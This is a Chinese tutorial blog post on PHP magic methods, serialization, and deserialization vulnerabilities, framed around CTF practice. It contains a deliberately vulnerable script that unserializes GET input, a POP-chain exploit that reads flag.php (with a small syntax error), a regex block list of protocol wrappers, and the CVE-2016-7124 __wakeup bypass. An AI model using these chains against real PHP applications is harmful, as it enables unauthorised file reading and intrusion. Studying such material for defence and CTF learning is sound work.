  • 抽象性?? 抽象性是指将具有一致的数据结构(属性)和行为(操作)的对象抽象成类。一个类就是这样一种抽象,它反映了与应用有关的重要性质,而忽略其他一些无关内容。任何类的划分都是主观的,但必须与具体的应用有关。

  • 封装?? 封装是指将现实世界中存在的某个客体的属性与行为绑定在一起,并放置在一个逻辑单元内。

  • 构造函数?? 主要用来在创建对象时初始化对象, 即为对象成员变量赋初始值,总与new运算符一起使用在创建对象的语句中。

  • 析构函数?? 析构函数(destructor) 与构造函数相反,当对象结束其生命周期时(例如对象所在的函数已调用完毕),系统自动执行析构函数。析构函数往往用来做"清理善后" 的工作(例如在建立对象时用new开辟了一片内存空间,应在退出前在析构函数中用delete释放)。

魔术函数

__construct   当一个对象创建时被调用,
__destruct    当一个对象销毁时被调用,
__toString    当一个对象被当作一个字符串被调用。
__wakeup()    使用unserialize时触发
__sleep()     使用serialize时触发
__destruct()  对象被销毁时触发
__call()      在对象上下文中调用不可访问的方法时触发
__callStatic()  在静态上下文中调用不可访问的方法时触发
__get()       用于从不可访问的属性读取数据
__set()       用于将数据写入不可访问的属性
__isset()     在不可访问的属性上调用isset()或empty()触发
__unset()     在不可访问的属性上使用unset()时触发
__toString()  把类当作字符串使用时触发,返回值需要为字符串
__invoke()    当脚本尝试将对象调用为函数时触发

序列化、反序列化

序列化 (Serialization):是将 "内存中的对象"?转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后就可以通过从存储区中读取,或者反序列化对象的状态,重新创建该对象。实际上就是将数据持久化,而且序列化后也能更好的便于网络运输何传播。

  • 序列化:将 对象 转换为 字节序列
  • 反序列化:把 字节序列 恢复为 原先的对象

序列化主要有两个用途

  • 把对象的字节序列永久保存到硬盘上,通常存放在一个文件中(序列化对象)
  • 在网络上传送对象的字节序列(网络传输对象)

比如:想把一张桌子从 a -->?b,一张桌子肯定不好运输,因此需要把它拆开(这个拆的过程就是序列化);等到达了b需要把他组装起来 (?装的过程就是 反序列化? )。

PHP?序列化 函数:?serialize()

把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等
序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

PHP 反序列化 函数:unserialize()

恢复原先被序列化的变量

示例 1:https://blog.csdn.net/m0_46587008/article/details/109373942

<?php
class people{
    public $name = 'sam';
    private $sex = 'man';
    protected $age = '20';
}
$people_1 = new people();
$obj = serialize($people_1);
print $obj;

$a=unserialize($obj);
var_dump($a);

定义一个 people 类,含有公共属性name,私有属性sex,保护属性age。随后实例化一个people_1 并对其进行序列化,最后输出结果为:

O:6:"people":3:{s:4:"name";s:3:"sam";s:11:" people sex";s:3:"man";s:6:" * age";s:2:"20";}
object(people)#2 (3) { ["name"]=> string(3) "sam" ["sex":"people":private]=> string(3) "man" ["age":protected]=> string(2) "20" }

注意:对于 public 的属性无需其他特殊操作,但是对于 private 属性,描述的时候需要在前后添加空格,或者带上其所在的类名,对于 protected 属性需要加" * "。

__wakeup()?当unserialize()函数反序列化时,在数据流还未被反序列化未对象之前会调用该函数进行初始化.

__destruct()?当对象销毁时触发,也就是说只要你反序列化或者实例化一个对象,当你调用结束后都会触发该函数。?

<?php
class star{
    public $a;
    function __wakeup(){
        echo "hi";
    }
    function __destruct(){
        echo "结束了";
    }
}
$s='O:4:"star":1:{s:1:"a";N;}';
unserialize($s);

结果:hi结束了。可以看到,先输出了hi,说明__wakeup()函数先被调用,随后整个反序列化结束,对象被销毁,触发__destruct()函数,输出结束了。

__toString()?当一个对象被当作字符串使用时触发

<?php
class star{
    public $a;
    function __wakeup(){
        echo $this->a;
    }
}
class next{
    function __toString(){
        echo "我在这";
    }
}
$t='O:4:"star":1:{s:1:"a";O:4:"next":0:{}}';
unserialize($t);

结果:我在这 Catchable fatal error: Method next::__toString() must return a string value in /tmp/41bac5636b55eff5c8abea138d605489916c2612abc45fd39fdaa87a827a0e00/main.php on line 5? 这里没有retrun,也没有忽略报错,所有有一条报错信息,无关紧要,但是要说的是,__toString()是要又return的,不然会报错。结果显示当类star中的。echo $this->a;

执行时,a被当作一个字符串,此时我将a设置为类next,此时类next作为字符串被调用,所以触发类next中的__toString()函数,输出“我在这”。

__invoke()?当类被当作函数调用时触发,看实例。

<?php
class star{
    public $a;
    function __wakeup(){
        $function=$this->a;
        return $function();
    }
}
class next{
    function __invoke(){
        echo "我在这";
    }
}
$t='O:4:"star":1:{s:1:"a";O:4:"next":0:{}}';
unserialize($t);

结果:我在这
分析过程和上面那个函数一样,也是通过反序列化给a赋值,只是赋的不是字符串而是其他类,然后。return $function();??的时候,将类当作函数调用,触发了__invoke()函数输出了“我在这”。

__get()?这个函数是当访问不可访问的属性的时候触发,不可访问的属性有两种

  • 私有属性或者保护属性,这种访问受限的属性的时候会触发__get()
  • 属性不存在的时候,也会触发__get()
<?php
class star{
    public $a;
    function __wakeup(){
        return $this->str['str']->source;
    }
}
class next{
    function __get($name){
        echo "我在这";
        return;
    }
}
$t='O:4:"star":2:{s:1:"a";N;s:3:"str";a:1:{s:3:"str";O:4:"next":0:{}}}';
unserialize($t);

结果:我在这
通过str[‘str’]赋值为类next,访问next的source,但是类next中不存在属性source所以触发__get()函数,访问保护属性等同理。
小结:反序列化的过程通过这些魔法函数可以达到我们想到要的操作,尤其是后面3个函数,大家会发现,这三个函数可以达到多个类的连续使用,从而达到链的效果,这也就是反序列化中的pop链的编写,

示例 2:POP链的构造

<?php
//flag is in flag.php
error_reporting(1);
class Read {
    public $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'Welcome'."<br>";
    }
    public function __toString()
    {
        return $this->str['str']->source;
    }

    public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source); 
        }

    }

    public function __wakeup()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test
{
    public $p;
    public function __construct()
    {
        $this->p = array();
    }

    public function __get($key)
    {
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['hello']))
{
    unserialize($_GET['hello']);
}
else
{
    $show = new Show('pop3.php');
    $show->_show();
}

1. 首先看到unserialize($_GET[‘hello’]) 将get传参的hello进行了反序列化操作。那么将会调用到Show类中__weakup方法。
2. 因为 this->source = “index.php” source被当做字符串所以调用Show类中的__to string.
3. ** return $this->str[‘str’]->source ** source属性不存在所以调用Test类中的 get方法。
4. ** $function = $this->p;
return $function(); **
把取出来的p当做还是调用因此又会引起调用了 Read类中的__invoke方法,其中就可以把文件读取出来了。

上exp

<?php
class Show{
	public $source;
	public $str;
}
class Test {
	public $p;
}
class Read{
	publc $var = "flag.php"
}

$s = new Show();
$t = new Test();
$r = new Read();
$t -> p = $r;
$s ->str["str"] = $t;
$s -> source = $s;
var_dump(serialize($s));

反序列化 漏洞 原理

https://www.bilibili.com/video/BV18r4y1878F?p=47

注意:如果放在 浏览器 url 中,需要 url 编码

1. 构造反序列化链
2. 魔法函数
3. pop 链
4. __wakeup()绕过

1、unserialize 函数的参数可控,比如通过 GET 请求传参(漏洞触发点)
2、脚本中定义有 Magic 方法,方法里面有向php文件做读写数据或者执行命令的操作,比如:__destruct()、unlink()
3、读写的内容需要有对象中的成员变量的值,比如 filename

__wakeup( )绕过

(CVE-2016-7124)
反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。
影响版本:
PHP before 5.6.25
7.x before 7.0.10

<?php
class star{
    public $a;
    function __wakeup(){
        echo $this->a;
    }
}
$t='O:4:"star":1:{s:1:"a";s:9:"我在这";}';
unserialize($t);
?>

结果:我在这

当换成??O:4:"star":2:{s:1:"a";s:9:"我在这";}??时,结果什么都没输出。

原因:当表示属性个数大于真实个数时,__wakeup()函数不执行,被绕过了,通常题目中,__wake() 中含有很多限制,通过这个漏洞绕过 __wake() 可以达到绕过限制的目的。

攻防世界 CTF 示例

官网:https://adworld.xctf.org.cn/

示例 payload

注意:如果放在 浏览器 url 中,需要 url 编码

  JavaScript知识库 最新文章
ES6的相关知识点
react 函数式组件 & react其他一些总结
Vue基础超详细
前端JS也可以连点成线(Vue中运用 AntVG6)
Vue事件处理的基本使用
Vue后台项目的记录 (一)
前后端分离vue跨域,devServer配置proxy代理
TypeScript
初识vuex
vue项目安装包指令收集
上一篇文章      下一篇文章      查看所有文章
加:2022-06-18 23:21:39  更:2022-06-18 23:23:18 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 16:55:31-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码